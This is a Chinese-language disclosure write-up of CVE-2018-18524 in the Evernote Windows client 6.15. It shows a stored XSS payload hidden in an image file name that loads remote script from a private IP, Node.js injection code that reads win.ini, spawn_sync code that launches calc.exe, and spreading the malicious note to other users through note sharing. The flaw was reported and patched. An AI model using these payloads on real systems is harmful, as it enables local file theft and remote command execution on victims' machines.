印象笔记Windows客户端6.15本地文件读取和远程命令执行漏洞(CVE-2018-18524)分析

栏目: Node.js · 发布时间: 5年前

内容简介:2018/09/20 ,我当时的同事印象笔记 Windows 客户端 6.14 版本修复了一个储存型 XSS。由于只修复了 XSS 的入口点而没有在出口处添加过滤,导致攻击者可以在 6.14 版本的客户端中生成储存型 XSS并在 6.15 版本中触发。

0×00 前言

2018/09/20 ,我当时的同事 @sebao 告诉我印象笔记修复了他的XSS漏洞并登上了名人堂,碰巧国庆的时候考古过几个客户端 XSS 导致命令执行的案例,就想在印象笔记客户端也寻找一下类似的问题。在之后的测试过程中,我不仅发现原本的XSS修复方案存在漏洞、利用这个XSS漏洞实现了本地文件读取和远程命令执行,还通过分享笔记的功能实现了远程攻击。

0×01 漏洞简介

印象笔记 Windows 客户端 6.14 版本修复了一个储存型 XSS。

由于只修复了 XSS 的入口点而没有在出口处添加过滤,导致攻击者可以在 6.14 版本的客户端中生成储存型 XSS并在 6.15 版本中触发。

印象笔记的展示模式是使用 NodeWebKit 实现的,通过储存型 XSS 可以在展示模式下注入 Nodejs 代码。

经过各种尝试,最终通过注入的 Nodejs 代码实现了本地文件读取和远程命令执行。

0×02 印象笔记 Windows 客户端 6.14 储存型 XSS 漏洞

@sebao 发现的储存型 XSS 漏洞的触发方式如下: 1. 在笔记中添加一张图片 2. 右键并将该图片更名为” onclick=”alert(1)”>.jpg”3. 双击打开该笔记并点击图片,成功弹框。

印象笔记Windows客户端6.15本地文件读取和远程命令执行漏洞(CVE-2018-18524)分析

印象笔记Windows客户端6.15本地文件读取和远程命令执行漏洞(CVE-2018-18524)分析

经过测试,印象笔记官方修复该 XSS 的方式为:在更名处过滤了>、<、”等特殊字符,但有意思的是我在 6.14 版本下测试的 XSS 在6.15 版本中依旧可以弹框,这也就意味着:官方只修了 XSS 的入口,在 XSS 的输出位置,依旧是没有任何过滤的。

0×03 演示模式下的 Nodejs 代码注入

XSS 修复方案存在漏洞并不能算是一个很严重的安全问题,所以我决定深入挖掘一下其他的漏洞,比如本地文件读取或者远程命令执行。为了方便测试,我在 6.14 版本的客户端中将一张图片更名为” onclick=”alert(1)”><scriptsrc=” http://172.16.4.1:8000/1.js “>.jpg后,将客户端升级为最新版 6.15。

我测试了一些特殊的API,例如evernote.openAttachment、goog.loadModuleFromUrl,但是没有显著的收获。所以我转换了思路,遍历C:\\Program Files(x86)\Evernote\Evernote\目录下的所有文件。我发现印象笔记在C:\\Program Files(x86)\Evernote\Evernote\NodeWebKit目录下存在NodeWebKit,在演示的时候,印象笔记会调用这个NodeWebKit。

一个更好的消息是我可以通过之前发现的储存型 XSS 在NodeWebKit中执行Nodejs代码。

印象笔记Windows客户端6.15本地文件读取和远程命令执行漏洞(CVE-2018-18524)分析

0×04 本地文件读取 和 远程命令执行的实现

既然可以注入Nodejs代码,那就意味着我可以尝试使用child_process来执行任意命令。

我尝试使用require(‘child_process’).exec,但是却报错了:Module name “child_process” has not been loaded yet forcontext。

印象笔记Windows客户端6.15本地文件读取和远程命令执行漏洞(CVE-2018-18524)分析

这个错误并没有浇灭我刚发现Nodejs代码注入的激情,我在查阅各种资料尝试解决/绕过 这个问题。最终,我发现了前人的足迹: Howwe exploited a remote code execution vulnerability in math.js

根据文中的内容,简单的修改读取本地文件的 payload 很快就实现了相应的功能:

alert("Tryto read C:\\\\Windows\\win.ini");

try{

var buffer = new Buffer(8192);

process.binding('fs').read(process.binding('fs').open('..\\..\\..\\..\\..\\..\\..\\Windows\\win.ini',0, 0600), buffer, 0, 4096);

alert(buffer);

}

catch(err){

alert(err);

}

但是在尝试远程命令执行的时候,我遇到了一些问题。由于并不了解Nodejs,所以我不知道为什么NodeWebkit中没有Object和Array,也不知道如何解决这个问题。我听取了文中的建议,尝试去理解 child_process 的源码 ,并且查找spawn_sync相关的用法。

最终,我从window.process.env中获取到env的内容,并使用spawn_sync成功地弹出了计算器。

// commandexecuted

try{

spawn_sync = process.binding('spawn_sync');

envPairs = [];

for (var key in window.process.env) {

envPairs.push(key + '=' +window.process.env[key]);

}

args = [];

const options = {

file: 'C:\\\\Windows\\system32\\calc.exe',

args: args,

envPairs: envPairs,

stdio: [

{ type: 'pipe', readable: true, writable:false },

{ type: 'pipe', readable: false,writable: true },

{ type: 'pipe', readable: false,writable: true }

]

};

spawn_sync.spawn(options);

}

catch(err){

alert(err);

}

0×05 通过分享功能攻击其他用户

在我实现了本地文件读取和本机命令执行后,黑哥提出了一个更高的要求:证明这个漏洞可以影响到其他用户。

在注册了一个小号后,我尝试使用分享功能将恶意笔记分享给 ”他人“。

印象笔记Windows客户端6.15本地文件读取和远程命令执行漏洞(CVE-2018-18524)分析

我的小号将会在工作空间收到别人发来的消息。

印象笔记Windows客户端6.15本地文件读取和远程命令执行漏洞(CVE-2018-18524)分析

我的小号尝试演示这个笔记,被注入的Nodejs代码成功执行!

0×06 感谢

感谢 黑哥 在漏洞发现和上报过程中的耐心指导和严格要求。

感谢我的前404同事sebao跟我分享了他发现的 XSS 漏洞细节。

感谢 How we exploited a remote code execution vulnerability in math.js 的作者、 【技术分享】从PouchDB 到RCE: 一个node.js 注入向量 的原文作者、中文译者,这些优秀的文章为我提供了巨大的帮助。

0×07 时间线

2018/09/27 ,发现相关漏洞,攥写报告并发送至security@evernote.com。

2018/09/27,官方确认漏洞

2018/10/15,官方在 beta 版本6.16.1 https://discussion.evernote.com/topic/116650-evernote-for-windows-616-beta-1/ 中修复相关漏洞,并将我的名字加入名人堂。

2018/10/19,在和官方沟通后,自行申请CVE,编号为:CVE-2018-18524

2018/11/05,Evernote 官方发布 正式版本6.16.4,确认该漏洞被修复后公开漏洞细节。

*本文作者:Knownsec知道创宇,转载请注明来自FreeBuf.COM


以上所述就是小编给大家介绍的《印象笔记Windows客户端6.15本地文件读取和远程命令执行漏洞(CVE-2018-18524)分析》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Database Design and Implementation

Database Design and Implementation

Edward Sciore / Wiley / 2008-10-24 / 1261.00 元

* Covering the traditional database system concepts from a systems perspective, this book addresses the functionality that database systems provide as well as what algorithms and design decisions will......一起来看看 《Database Design and Implementation》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

MD5 加密
MD5 加密

MD5 加密工具

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具